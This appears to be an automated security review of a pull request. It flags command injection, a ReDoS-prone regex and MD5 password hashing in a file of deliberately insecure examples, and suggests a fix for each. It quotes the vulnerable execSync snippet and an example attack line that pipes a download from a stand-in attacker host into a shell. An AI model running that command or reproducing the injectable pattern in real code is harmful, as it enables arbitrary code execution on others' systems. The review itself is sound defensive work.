🟠 High: Detect Child Process

Detected calls to child_process from a function argument userCommand.

requires login

Why this matters

Detected calls to child_process from a function argument userCommand. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed.

Suggested fix

Avoid shell string construction. Pass arguments as a list, validate/allowlist user-controlled values, and disable shell execution when possible.

🟠 High: Command injection via executeUserCommand passing raw user input to execSync

The newly added executeUserCommand function passes its userCommand argument directly to execSync without any sanitization or shell-escaping.

}
function executeUserCommand(userCommand) {
    return execSync(userCommand).toString()
}
// Regular expression built from unvalidated input.

Why this matters

The newly added executeUserCommand function passes its userCommand argument directly to execSync without any sanitization or shell-escaping. Because execSync invokes a shell, an attacker who controls the argument can execute arbitrary OS commands (e.g., executeUserCommand("curl attacker.com/exfil | sh")). The function is also exported via module.exports, widening its attack surface.

Suggested fix

Avoid invoking a shell with user-controlled input. If command execution is genuinely necessary, use execFileSync with an argument array (no shell) and validate the command against an allowlist, or apply strict input validation before execution.

Caution

Findings introduced by this PR

Severity Issue Location
🟠 High Detect Child Process src/insecure-examples.js:31
🟠 High Command injection via executeUserCommand passing raw user input to execSync src/insecure-examples.js:31
🟡 Medium Detect Non Literal Regexp src/insecure-examples.js:36
🟡 Medium Md5 Used As Password src/insecure-examples.js:42

Findings without inline comments

These findings could not be attached to a specific changed line, so their details are included here.

Medium — Detect Non Literal Regexp at src/insecure-examples.js:36

RegExp() called with a pattern function argument, this might allow an attacker to cause a
Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main
thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is
run on user-controlled input, consider performing input validation or use a regex
checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the
regex does not appear vulnerable to ReDoS.

Suggested fix

Change the code so untrusted input cannot control security-sensitive behavior. Keep the fix focused and avoid unrelated refactors.

Medium — Md5 Used As Password at src/insecure-examples.js:42

It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash
because it can be cracked by an attacker in a short amount of time. Use a suitable password
hashing function such as bcrypt. You can use the bcrypt node.js package.

Suggested fix

Change the code so untrusted input cannot control security-sensitive behavior. Keep the fix focused and avoid unrelated refactors.

Recommended next steps

  1. Review the inline comments on the changed lines and the expandable finding details above for vulnerable snippets and safer patterns.
